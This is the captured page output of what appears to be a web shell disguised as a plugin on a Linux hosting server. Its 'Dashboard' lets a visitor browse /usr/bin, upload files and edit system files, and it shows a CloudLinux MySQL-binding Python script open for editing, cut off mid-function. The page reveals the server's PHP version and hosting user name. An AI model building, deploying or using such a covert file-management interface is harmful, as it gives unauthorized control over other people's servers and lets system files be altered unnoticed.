{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-21 16:01:31"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fbin">bin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: alt-php-mysql-reconfigure.py</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/bin/alt-php-mysql-reconfigure.py">
                    <textarea name="edit_content">#!/usr/bin/python3
# -*- mode:python; coding:utf-8; -*-
# author: Eugene Zamriy &lt;ezamriy@cloudlinux.com&gt;,
#         Sergey Fokin &lt;sfokin@cloudlinux.com&gt;
# editor: Eduard Chiganov &lt;echiganov@cloudlinux.com&gt;
# created: 29.07.2015 15:46
# edited: Eduard Chiganov 05.2025 16:20
# description: Selects correct alt-php MySQL binding according to the system
#              configuration.


import getopt
import glob
import logging
import os
import platform
import re
import subprocess
import sys
import traceback
from decimal import Decimal

try:
    import rpm
except:
    class rpm:
        RPMMIRE_REGEX = None
        class pattern:
            def __init__(self, packages):
                self.packages = packages
            def pattern(self, field, flag, pattern):
                regexp = re.compile(pattern)
                self.packages = list(filter(regexp.match, self.packages))
            def __getitem__(self, item):
                return self.packages[item]
        class TransactionSet:
            @staticmethod
            def dbMatch():
                return rpm.pattern(os.popen(&#039;rpm -qa&#039;).readlines())


VER_PATTERNS = {&quot;18.1&quot;: &quot;5.6&quot;, &quot;18.1.0&quot;: &quot;5.6&quot;, &quot;18.0&quot;: &quot;5.5&quot;, &quot;18.0.0&quot;: &quot;5.5&quot;,
                &quot;18&quot;: &quot;5.5&quot;, &quot;16&quot;: &quot;5.1&quot;, &quot;15&quot;: &quot;5.0&quot;, &quot;20.1&quot;: &quot;5.7&quot;,
                &quot;20.2&quot;: &quot;5.7&quot;, &quot;20.3&quot;: &quot;5.7&quot;, &quot;21.0&quot;: &quot;8.0&quot;, &quot;21.2&quot;: &quot;8.0&quot;, &quot;24.0.5&quot;: &quot;8.4&quot;}


def is_debian():
    &quot;&quot;&quot;
    Check if we running on Debian/Ubuntu

    @rtype  : bool
    @return  True or False
    &quot;&quot;&quot;
    if os.path.exists(&quot;/etc/redhat-release&quot;):
        return False
    return True


def is_plesk():
    &quot;&quot;&quot;
    Check is it environment with installed plesk panel

    @rtype  : bool
    @return  True or False
    &quot;&quot;&quot;
    if not os.path.exists(&quot;/usr/sbin/plesk&quot;):
        return False
    return True

def has_cagefs():
    &quot;&quot;&quot;
    Check if we&#039;re in environment with enabled cagefs

    @rtype  : bool
    @return  True or False
    &quot;&quot;&quot;
    if not os.path.exists(&quot;/usr/sbin/cagefsctl&quot;):
        return False

    with open(os.devnull, &#039;wb&#039;) as devnull:
        result = subprocess.call(
            [&quot;/usr/sbin/cagefsctl&quot;, &quot;--cagefs-status&quot;],
            stdout=devnull,
            stderr=devnull
        )
    return result == 0

def is_bare_plesk():
    &quot;&quot;&quot;
    Check is it environment with installed plesk panel on clean ELS system without cagefs

    @rtype  : bool
    @return  True or False
    &quot;&quot;&quot;
    return is_plesk() and not has_cagefs()

def configure_logging(verbose):
    &quot;&quot;&quot;
    Logging configuration function.

    @type verbose:  bool
    @param verbose: Enable additional debug output if True, display only errors
        otherwise.
    &quot;&quot;&quot;
    if verbose:
        level = logging.DEBUG
    else:
        level = logging.ERROR
    handler = logging.StreamHandler()
    handler.setLevel(level)
    log_format = &quot;%(levelname)-8s: %(message)s&quot;
    formatter = logging.Formatter(log_format, &quot;%H:%M:%S %d.%m.%y&quot;)
    handler.setFormatter(formatter)
    logger = logging.getLogger()
    logger.addHandler(handler)
    logger.setLevel(level)
    return logger


def symlink_abs_path(path):
    &quot;&quot;&quot;
    Recursively resolves symlink.

    @type path:  str
    @param path: Symlink path.

    @rtype:      str
    @return:     Resolved symlink absolute path.
    &quot;&quot;&quot;
    processed_symlinks = set()
    if not isinstance(path, str):
        return None
    while os.path.islink(path):
        if path in processed_symlinks:
            return None
        path = os.path.join(os.path.dirname(path), os.readlink(path))
        processed_symlinks.add(path)
    return os.path.abspath(path)


def create_symlink_to_mysqli_ini(source_dir, target_dir):
    &quot;&quot;&quot;
    Creates or updates a symbolic link to mysqli.ini.

    @type source_dir: str
    @param source_dir: Directory containing the actual mysqli.ini file.

    @type target_dir: str
    @param target_dir: Directory where the symlink will be created or updated.

    @rtype: bool
    @return: True if symlink is created or updated successfully, False otherwise.
    &quot;&quot;&quot;
    source_path = os.path.join(source_dir, &#039;mysqli.ini&#039;)
    target_path = os.path.join(target_dir, &#039;mysqli.ini&#039;)

    if is_bare_plesk():
        return False
    else:
        try:
            # Remove the target file/symlink if it exists (mimic --force)
            if os.path.exists(target_path) and not os.path.islink(target_path):
                os.remove(target_path)

            if source_path == symlink_abs_path(target_path):
                logging.debug(u&quot;%s is already configured to %s&quot; % (target_path, source_path))
                return True

            # Create the symlink
            os.symlink(source_path, target_path)
            logging.info(u&quot;Symlink created or updated: %s -&gt; %s&quot; % (target_path, source_path))
            return True

        except Exception as e:
            logging.error(u&quot;Error creating or updating symlink: %s&quot; % str(e))
            return False


def find_interpreter_versions(interpreter=&quot;php&quot;):
    &quot;&quot;&quot;
    Returns list of installed alt-php versions and their base directories.

    @rtype:  list
    @return: List of version (e.g. 44, 55) and base directory tuples.
    &quot;&quot;&quot;
    int_versions = []
    if interpreter == &quot;ea-php&quot;:
        base_path_regex = &quot;/opt/cpanel/ea-php[0-9][0-9]/root/&quot;
    else:
        base_path_regex = &quot;/opt/alt/%s[0-9][0-9]&quot; % interpreter
    for int_dir in glob.glob(base_path_regex):
        int_versions.append((int_dir[-2:], int_dir))
    int_versions.sort()
    return int_versions


def find_mysql_executable(mysql=&quot;mysql&quot;):
    &quot;&quot;&quot;
    Detects MySQL binary full path.

    @type mysql:  str
    @param mysql: MySQL binary name (default is &quot;mysql&quot;).

    @rtype:       str or None
    @return:      MySQL binary full path or None if nothing is found.
    &quot;&quot;&quot;
    for path in os.environ[&quot;PATH&quot;].split(os.pathsep):
        mysql_path = os.path.join(path, mysql)
        if os.path.exists(mysql_path) and os.access(mysql_path, os.X_OK):
            if os.path.islink(mysql_path):
                return os.readlink(mysql_path)
            else:
                return mysql_path


def is_percona(major, minor):
    &quot;&quot;&quot;
    Check if Percona server is installed

    @type major:  str
    @param major: major version of sql server
    @type minor:  str
    @param minor: minor version of sql server

    @rtype:       bool
    @return:      True or False
    &quot;&quot;&quot;
    if is_debian():
        if not os.system(&quot;dpkg -l | grep -i percona-server&quot;):
            return True
    else:
        ts = rpm.TransactionSet()
        mi = ts.dbMatch()
        pattern = &quot;Percona-Server-shared-{0}{1}|cl-Percona{0}{1}-shared&quot;.format(
            major, minor)
        mi.pattern(&#039;name&#039;, rpm.RPMMIRE_REGEX, pattern)
        for _ in mi:
            mysql_type = &quot;percona&quot;
            return True
    return False


def parse_mysql_version(version):
    &quot;&quot;&quot;
    Extracts MySQL engine type and version from the version string
    (mysql -V output).

    @type version:  str
    @param version: MySQL version string (mysql -V output).

    @rtype:         tuple
    @return:        MySQL engine type (e.g. mariadb, mysql) and version (e.g.
        5.6, 10.0) tuple.
    &quot;&quot;&quot;
    ver_rslt = &quot;&quot;
    if re.search(r&quot;mysql&quot;, version, re.IGNORECASE):
        ver_rslt = re.search(r&quot;mysql\s+Ver\s+.*?Distrib\s+((\d+)\.(\d+)\S*?),?\s+for&quot;,
                             version)
        if not ver_rslt:
            ver_rslt = re.search(r&quot;mysql\s+Ver\s+((\d+)\.(\d+)\S*)&quot;, version)
    else:
        ver_rslt = re.search(r&quot;mariadb\s+from\s+((\d+)\.(\d+)\S*?),?\s+&quot;, version)
        if not ver_rslt:
            ver_rslt = re.search(r&quot;mariadb\s+Ver\s+.*?Distrib\s+((\d+)\.(\d+)\S*?),?&quot;
                             r&quot;\s+for&quot;, version)
    if not ver_rslt:
        return None, None
    full_ver, major, minor = ver_rslt.groups()
    mysql_type = &quot;mysql&quot;
    mysql_ver = &quot;%s.%s&quot; % (major, minor)
    if re.search(r&quot;mariadb&quot;, full_ver, re.IGNORECASE):
        mysql_type = &quot;mariadb&quot;
    # NOTE: there are no way to detect Percona by &quot;mysql -V&quot; output, so we
    #       are looking for Percona-Server-shared* or cl-Percona*-shared package installed
    if is_percona(major, minor):
        mysql_type = &quot;percona&quot;
    return mysql_type, mysql_ver


def get_mysql_version(mysql_path):
    &quot;&quot;&quot;
    Returns MySQL engine type and version of specified MySQL executable.

    @type mysql_path:  str
    @param mysql_path: MySQL executable path.

    @rtype:            tuple
    @return:           MySQL engine type (mariadb or mysql) and version (e.g.
        5.6, 10.0) tuple.
    &quot;&quot;&quot;
    proc = subprocess.Popen([mysql_path, &quot;-V&quot;], stdout=subprocess.PIPE,
                            stderr=subprocess.STDOUT, universal_newlines=True)
    out, _ = proc.communicate()
    if proc.returncode != 0:
        raise Exception(u&quot;cannot execute \&quot;%s -V\&quot;: %s&quot; % (mysql_path, out))
    ver_string = out.strip()
    logging.debug(u&quot;SQL version string is &#039;%s&#039;&quot; % ver_string)
    return parse_mysql_version(ver_string)


def detect_so_version(so_path):
    &quot;&quot;&quot;
    Parameters
    ----------
    so_path         : str or unicode
        Absolute path to .so library

    Returns
    -------
    tuple
        Tuple of MySQL type name and MySQL version

    &quot;&quot;&quot;
    mysql_ver = None
    for ver_pattern in VER_PATTERNS:
        if re.search(re.escape(&quot;.so.%s&quot; % ver_pattern), so_path):
            mysql_ver = VER_PATTERNS[ver_pattern]
            if is_debian():
                mysql_ver = mysql_ver.replace(&quot;.&quot;, &quot;&quot;)
    # in some Percona builds .so was renamed to libperconaserverclient.so
    if &quot;libperconaserverclient.so&quot; in so_path:
        return &quot;percona&quot;, mysql_ver
    # search for markers (mariadb/percona) in .so strings
    proc = subprocess.Popen([&quot;strings&quot;, so_path], stdout=subprocess.PIPE,
                            stderr=subprocess.STDOUT, universal_newlines=True)
    out, _ = proc.communicate()
    if proc.returncode != 0:
        raise Exception(u&quot;cannot execute \&quot;strings %s\&quot;: %s&quot; % (so_path, out))
    mysql_type = &quot;mysql&quot;
    for line in out.split(&quot;\n&quot;):
        if re.search(r&quot;percona&quot;, line, re.IGNORECASE):
            return &quot;percona&quot;, mysql_ver
        maria_version = re.search(r&quot;^(1[0-1]\.[0-9]+)\.[0-9]*(-MariaDB)?$&quot;, line,
                                  re.IGNORECASE)
        if maria_version is not None and len(maria_version.groups()) != 0:
            return &quot;mariadb&quot;, maria_version.group(1)
        if re.search(r&quot;5\.5.*?-MariaDB&quot;, line, re.IGNORECASE):
            return &quot;mariadb&quot;, &quot;5.5&quot;
        if re.search(r&quot;mariadb&quot;, line, re.IGNORECASE):
            mysql_type = &quot;mariadb&quot;
    return mysql_type, mysql_ver


def detect_lib_dir():
    &quot;&quot;&quot;
    Returns
    -------
    str
        lib if running on 32-bit system, lib64 otherwise

    &quot;&quot;&quot;
    if is_debian():
        return &quot;lib/x86_64-linux-gnu&quot;
    if platform.architecture()[0] == &quot;64bit&quot;:
        return &quot;lib64&quot;
    else:
        return &quot;lib&quot;


def get_int_files_root_path(int_name, int_ver):
    &quot;&quot;&quot;
    Parameters
    ----------
    int_name        : str or unicode
        Interpreter name (php, python)
    int_ver         : str or unicode
        Interpreter version (44, 70, 27, etc.)

    Returns
    -------
    str
        Absolute path to interpreter root

    &quot;&quot;&quot;
    if int_name == &quot;php&quot;:
        return &quot;/opt/alt/php%s&quot; % int_ver
    elif int_name == &quot;ea-php&quot;:
        return &quot;/opt/cpanel/ea-php%s/root/&quot; % int_ver
    elif int_name == &quot;python&quot;:
        return &quot;/opt/alt/python%s&quot; % int_ver
    else:
        raise NotImplementedError(&quot;Unknown interpreter&quot;)


def get_dst_so_path(int_name, int_ver, so_name):
    &quot;&quot;&quot;
    Parameters
    ----------
    int_name        : str or unicode
        Interpreter name (php, python)
    int_ver         : str or unicode
        Interpreter version (44, 70, 27, etc.)
    so_name         : str or unicode
        MySQL shared library name

    Returns
    -------
    str
        Absolute path to MySQL binding destination point

    &quot;&quot;&quot;
    lib_dir = detect_lib_dir()
    int_path = get_int_files_root_path(int_name, int_ver)
    int_dot_ver = &quot;%s.%s&quot; % (int_ver[0], int_ver[-1])
    if int_name in [&quot;php&quot;, &quot;ea-php&quot;]:
        if re.match(r&quot;.*_ts.so&quot;, so_name):
            return os.path.join(int_path, &quot;usr&quot;, lib_dir, &quot;php-zts/modules&quot;, re.sub(r&#039;_ts\.so&#039;, &#039;.so&#039;, so_name))
        else:
            return os.path.join(int_path, &quot;usr&quot;, lib_dir, &quot;php/modules&quot;, so_name)
    elif int_name == &quot;python&quot;:
        if os.path.exists(&quot;/opt/alt/python{0}/bin/python{1}&quot;.format(int_ver, int_ver[0])):
            proc = subprocess.Popen(&quot;/opt/alt/python{0}/bin/python{1} -c \&quot;from distutils.sysconfig import get_python_lib; print(get_python_lib(True))\&quot;&quot;.format(int_ver, int_ver[0]),
                                    shell=True,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.STDOUT,
                                    universal_newlines=True)
            out, _ = proc.communicate()
            return os.path.join(out.strip(),so_name)
    else:
        raise NotImplementedError(&quot;Unknown interpreter&quot;)


def get_mysql_pkg_name(int_name, int_ver, mysql_type, mysql_ver, zts=False):
    &quot;&quot;&quot;
    Parameters
    ----------
    int_name        : str or unicode
        Interpreter name (php, python)
    int_ver         : str or unicode
        Interpreter version (44, 27, 71, etc.)
    mysql_type      : str or unicode
        Mysql base type (mysql, mariadb, percona)
    mysql_ver       : str or unicode
        Mysql version (5.5, 10, 10.1)

    Returns
    -------

    &quot;&quot;&quot;
    if int_name == &quot;php&quot;:
        if not zts:
            return &quot;alt-php%s-%s%s&quot; % (int_ver, mysql_type, mysql_ver)
        else:
            return &quot;alt-php%s-%s%s-zts&quot; % (int_ver, mysql_type, mysql_ver)
    elif int_name == &quot;ea-php&quot;:
        return &quot;%s%s-php-%s%s&quot; % (int_name, int_ver, mysql_type, mysql_ver)
    elif int_name == &quot;python&quot;:
        return &quot;alt-python%s-MySQL-%s%s&quot; % (int_ver, mysql_type, mysql_ver)
    else:
        raise NotImplementedError(&quot;Unknown interpreter&quot;)


def get_so_list(int_name):
    &quot;&quot;&quot;
    Parameters
    ----------
    int_name        : str
        Interpreter name (e.g. php, python, etc.)

    Returns
    -------
    list
        Binding .so names reconfigure manages for the interpreter.

    &quot;&quot;&quot;
    if int_name == &quot;ea-php&quot;:
        return [&quot;mysql.so&quot;, &quot;mysqli.so&quot;, &quot;pdo_mysql.so&quot;]
    elif int_name == &quot;php&quot;:
        # ALTPHP-2242: client-lib bindings stay available for every version;
        # the active driver (native nd_* vs binding) is chosen via --driver.
        # reconfigure keeps the binding .so symlinks fresh regardless of mode.
        if is_bare_plesk():
            return [&quot;mysql.so&quot;, &quot;mysqli.so&quot;, &quot;pdo_mysql.so&quot;]
        return [&quot;mysql.so&quot;, &quot;mysqli.so&quot;, &quot;pdo_mysql.so&quot;, &quot;mysql_ts.so&quot;,
                &quot;mysqli_ts.so&quot;, &quot;pdo_mysql_ts.so&quot;]
    elif int_name == &quot;python&quot;:
        return [&quot;_mysql.so&quot;]
    else:
        raise NotImplementedError(&quot;Unknown interpreter&quot;)


def match_so_to_mysql():
    mysql = find_mysql_executable()
    # If we have no MySQL, then nothing should be done
    if not mysql:
        return
    possible_versions = list(VER_PATTERNS.values())
    possible_versions += [&quot;10&quot;, &quot;10.0&quot;, &quot;10.1&quot;, &quot;10.2&quot;, &quot;10.3&quot;, &quot;10.4&quot;, &quot;10.5&quot;,
                          &quot;10.6&quot;, &quot;10.11&quot;, &quot;11.4&quot;,&quot;11.04&quot;, &quot;11.8&quot;]
    mysql_type, mysql_ver = get_mysql_version(mysql)
    if is_debian():
        mysql_ver = mysql_ver.replace(&quot;.&quot;, &quot;&quot;)
    if mysql_type not in [&quot;mysql&quot;, &quot;mariadb&quot;, &quot;percona&quot;] or \
            mysql_ver not in possible_versions:
        return
    if mysql_ver == &quot;5.0&quot;:
        search_pattern = re.compile(r&quot;(\S*libmysqlclient\.so\.15\S*)&quot;)
    elif mysql_ver == &quot;5.1&quot;:
        search_pattern = re.compile(r&quot;(\S*libmysqlclient\.so\.16\S*)&quot;)
    elif mysql_ver in (&quot;5.5&quot;, &quot;10&quot;, &quot;10.0&quot;, &quot;10.1&quot;):
        search_pattern = re.compile(r&quot;(\S*libmysqlclient\.so\.18\.0\S*)&quot;)
    elif mysql_ver == &quot;5.6&quot;:
        search_pattern = re.compile(r&quot;(\S*libmysqlclient\.so\.18\.1\S*)&quot;)
    elif mysql_ver == &quot;5.7&quot;:
        search_pattern = re.compile(r&quot;(\S*libmysqlclient\.so\.20\S*)&quot;)
    elif mysql_ver == &quot;8.0&quot;:
        search_pattern = re.compile(r&quot;(\S*libmysqlclient\.so\.21\S*)&quot;)
    elif mysql_ver == &quot;8.4&quot;:
        search_pattern = re.compile(r&quot;(\S*libmysqlclient\.so\.24\S*)&quot;)
    elif mysql_ver in (&quot;10.2&quot;, &quot;10.3&quot;, &quot;10.4&quot;, &quot;10.5&quot;, &quot;10.6&quot;, &quot;10.11&quot;, &quot;11.04&quot;, &quot;11.4&quot;, &quot;11.8&quot;):
        search_pattern = re.compile(r&quot;(\S*libmariadb\.so\.3\S*)&quot;)
    else:
        raise Exception(u&quot;Cannot match MySQL library to any version&quot;)
    if mysql_type == &quot;percona&quot;:
        search_path = [&quot;/usr/%s&quot; % detect_lib_dir()]
    else:
        search_path = [&quot;/usr/local/mysql/lib/&quot;,            # Added path for Direect Admin
                       &quot;/usr/%s/&quot; % detect_lib_dir(),
                       &quot;/usr/%s/mysql&quot; % detect_lib_dir(),
                       &quot;/usr/%s/mariadb&quot; % detect_lib_dir()]
    files = []
    for libs_path in search_path:
        if os.path.exists(libs_path):
            for file in os.listdir(libs_path):
                files.append(os.path.join(libs_path, file))
    for one_file in files:
        if search_pattern.match(one_file):
            return (search_pattern.match(one_file).string,
                    mysql_type, mysql_ver)


def get_mysql_so_files():
    proc = subprocess.Popen([&quot;/sbin/ldconfig&quot;, &quot;-p&quot;], stdout=subprocess.PIPE,
                            universal_newlines=True)
    out, _ = proc.communicate()
    if proc.returncode != 0:
        raise Exception(u&quot;cannot execute \&quot;ldconfig -p\&quot;: %s&quot; % out)
    so_re = re.compile(r&quot;^.*?=&gt;\s*(\S*?(libmysqlclient|&quot;
                       r&quot;libmariadb|&quot;
                       r&quot;libperconaserverclient)\.so\S*)&quot;)
    forced_so_file = match_so_to_mysql()
    if forced_so_file:
        so_files = [forced_so_file]
    else:
        so_files = []
    for line in out.split(&quot;\n&quot;):
        re_rslt = so_re.search(line)
        if not re_rslt:
            continue
        so_path = symlink_abs_path(re_rslt.group(1))
        if not so_path or not os.path.exists(so_path):
            continue
        mysql_type, mysql_ver = detect_so_version(so_path)
        so_rec = (so_path, mysql_type, mysql_ver)
        if so_rec not in so_files:
            so_files.append(so_rec)
    return so_files


def reconfigure_mysql(int_ver, mysql_type, mysql_ver, force=False,
                      int_name=&quot;php&quot;):
    &quot;&quot;&quot;
    Parameters
    ----------
    int_ver         : str or unicode
        Interpreter version (44, 70, 27, etc.)
    mysql_type      : str or unicode
        MySQL type (mysql, mariadb, percona)
    mysql_ver       : str or unicode
        MySQL version (5.5, 10.1, etc.)
    force           : bool
        Force symlink reconfiguration if True, do nothing otherwise
    int_name        : str or unicode
        Optional, defines interpreter name (php, python). Default is php

    Returns
    -------
    bool
        True if reconfiguration was successful, False otherwise

    &quot;&quot;&quot;
    int_dir = get_int_files_root_path(int_name, int_ver)
    if is_bare_plesk():
        so_list = get_so_list(int_name)
        for so_name in so_list:
            src_so = get_dst_so_path(int_name, int_ver, &quot;nd_%s&quot; % so_name)
            dst_so = get_dst_so_path(int_name, int_ver, so_name)
            if os.path.exists(src_so):
                try:
                    if os.path.exists(dst_so):
                        os.remove(dst_so)
                    os.symlink(src_so, dst_so)
                except Exception as e:
                    logging.error(u&quot;Error creating symlink: %s&quot; % str(e))
        return True
    if mysql_type == &quot;mariadb&quot;:
        if mysql_ver in (&quot;10&quot;, &quot;10.0&quot;):
            mysql_ver = &quot;10&quot;
        elif mysql_ver.startswith(&quot;10.&quot;):
            mysql_ver = mysql_ver.replace(&quot;.&quot;, &quot;&quot;)
        elif mysql_ver.startswith(&quot;11.&quot;):
            # ALTPHP-2242: binding packages/dirs for MariaDB 11.x are named
            # unpadded (11.8 -&gt; mariadb118), same convention as the 10.x branch
            # above. The client library cl-MariaDB1108 is zero-padded, but the
            # alt-php binding dir is not; drop the dot (not insert a &quot;0&quot;).
            mysql_ver = mysql_ver.replace(&quot;.&quot;, &quot;&quot;)
        elif mysql_ver == &quot;5.5&quot;:
            # NOTE: there are no special bindings for MariaDB 5.5 in Cloud Linux
            #       so we are using the MySQL one
            mysql_type = &quot;mysql&quot;
    so_list = get_so_list(int_name)
    for so_name in so_list:
        src_so = os.path.join(int_dir, &quot;etc&quot;,
                              &quot;%s%s&quot; % (mysql_type, mysql_ver), so_name)
        if not os.path.exists(src_so):
            if (so_name in (&quot;mysqli.so&quot;, &quot;pdo_mysql.so&quot;) and int_ver == &quot;44&quot;) \
                    or (so_name == &quot;mysql.so&quot; and int_ver.startswith(&quot;7&quot;)) \
                    or (so_name == &quot;mysql.so&quot; and int_ver.startswith(&quot;8&quot;)) \
                    or (re.match(r&quot;.*_ts.so&quot;, so_name) and int_ver != 72):
                # NOTE: there are no mysql.so for alt-php7X and mysqli.so /
                #       pdo_mysql.so for alt-php44
                continue
            # TODO: maybe find an appropriate replacement for missing
            #       .so in other alt-php-(mysql|mariadb|percona) packages?
            mysql_pkg_name = get_mysql_pkg_name(int_name, int_ver, mysql_type,
                                                mysql_ver,
                                                bool(re.match(r&quot;.*_ts.so&quot;,
                                                     so_name)))
            logging.debug(u&quot;%s is not found. Please install &quot;
                          u&quot;%s package&quot; % (so_name, mysql_pkg_name))
            return False
        dst_so = get_dst_so_path(int_name, int_ver, so_name)
        dst_so_real = symlink_abs_path(dst_so)
        if src_so == dst_so_real:
            logging.debug(u&quot;%s is already updated&quot; % dst_so)
            continue
        else:
            force = True
        if not isinstance(dst_so, str):
            return False
        if os.access(dst_so, os.R_OK):
            # seems alt-php is already configured - don&#039;t touch without force
            # argument
            if not force:
                logging.debug(u&quot;current %s configuration is ok (%s)&quot; %
                              (dst_so, dst_so_real))
                continue
            os.remove(dst_so)
            os.symlink(src_so, dst_so)
            logging.info(u&quot;%s was reconfigured to %s&quot; % (dst_so, src_so))
        else:
            # seems current alt-php configuration is broken, reconfigure it
            try:
                os.remove(dst_so)
            except:
                pass
            os.symlink(src_so, dst_so)
            logging.info(u&quot;%s was configured to %s&quot; % (dst_so, src_so))
        continue
    return True


def check_alt_path_exists(int_path, int_name, int_ver):
    &quot;&quot;&quot;
    Parameters
    ----------
    int_path        : str or unicode
        Interpreter directory on the disk (/opt/alt/php51, etc.)
    int_name        : str or unicode
        Interpreter name (php, python)
    int_ver         : str or unicode
        Interpreter version (44, 70, 27, etc.)

    Returns
    -------
    bool
        True if interpreter path exists, False otherwise

    &quot;&quot;&quot;
    if not os.path.isdir(int_path):
        sys.stderr.write(&quot;unknown {0} version {1}&quot;.format(int_name, int_ver))
        return False
    return True


# ALTPHP-2242: .ini bodies for switching the active mysql driver. &quot;native&quot;
# loads the mysqlnd-based nd_* extensions (no client lib); &quot;binding&quot; loads the
# client-lib .so managed by the reconfigure symlinks.
DRIVER_INI = {
    &quot;native&quot;: {
        &quot;mysqli.ini&quot;: &quot;; Enable mysqli native driver extension\n&quot;
                      &quot;extension=mysqlnd.so\nextension=nd_mysqli.so\n&quot;,
        &quot;pdo_mysql.ini&quot;: &quot;; Enable pdo_mysql native driver extension\n&quot;
                         &quot;extension=pdo.so\nextension=mysqlnd.so\n&quot;
                         &quot;extension=nd_pdo_mysql.so\n&quot;,
    },
    &quot;binding&quot;: {
        # mysqlnd.so first: from php82 the binding mysqli.so is mysqlnd-based
        # and won&#039;t load without it; harmless on older versions.
        &quot;mysqli.ini&quot;: &quot;; Enable mysqli extension module\n&quot;
                      &quot;extension=mysqlnd.so\nextension=mysqli.so\n&quot;,
        &quot;pdo_mysql.ini&quot;: &quot;; Enable pdo_mysql extension module\n&quot;
                         &quot;extension=pdo.so\nextension=pdo_mysql.so\n&quot;,
    },
}
# native .so that must exist for a given ini before we may switch it to native
NATIVE_SO = {&quot;mysqli.ini&quot;: &quot;nd_mysqli.so&quot;, &quot;pdo_mysql.ini&quot;: &quot;nd_pdo_mysql.so&quot;}


def set_driver_ini(int_name, int_ver, driver):
    &quot;&quot;&quot;
    ALTPHP-2242: switch the active mysql driver for one alt-php version by
    rewriting mysqli.ini / pdo_mysql.ini in php.d.all and activating them in
    php.d. For &quot;native&quot;, only extensions whose nd_*.so is present are switched;
    the rest are left as binding. Does not touch the binding .so symlinks.

    Returns True if at least one .ini was written.
    &quot;&quot;&quot;
    if int_name != &quot;php&quot;:
        logging.error(u&quot;--driver is only supported for alt-php&quot;)
        return False
    if driver not in DRIVER_INI:
        logging.error(u&quot;unknown driver &#039;%s&#039; (use native|binding)&quot; % driver)
        return False
    root = get_int_files_root_path(int_name, int_ver)
    ini_all = os.path.join(root, &quot;etc&quot;, &quot;php.d.all&quot;)
    ini_d = os.path.join(root, &quot;etc&quot;, &quot;php.d&quot;)
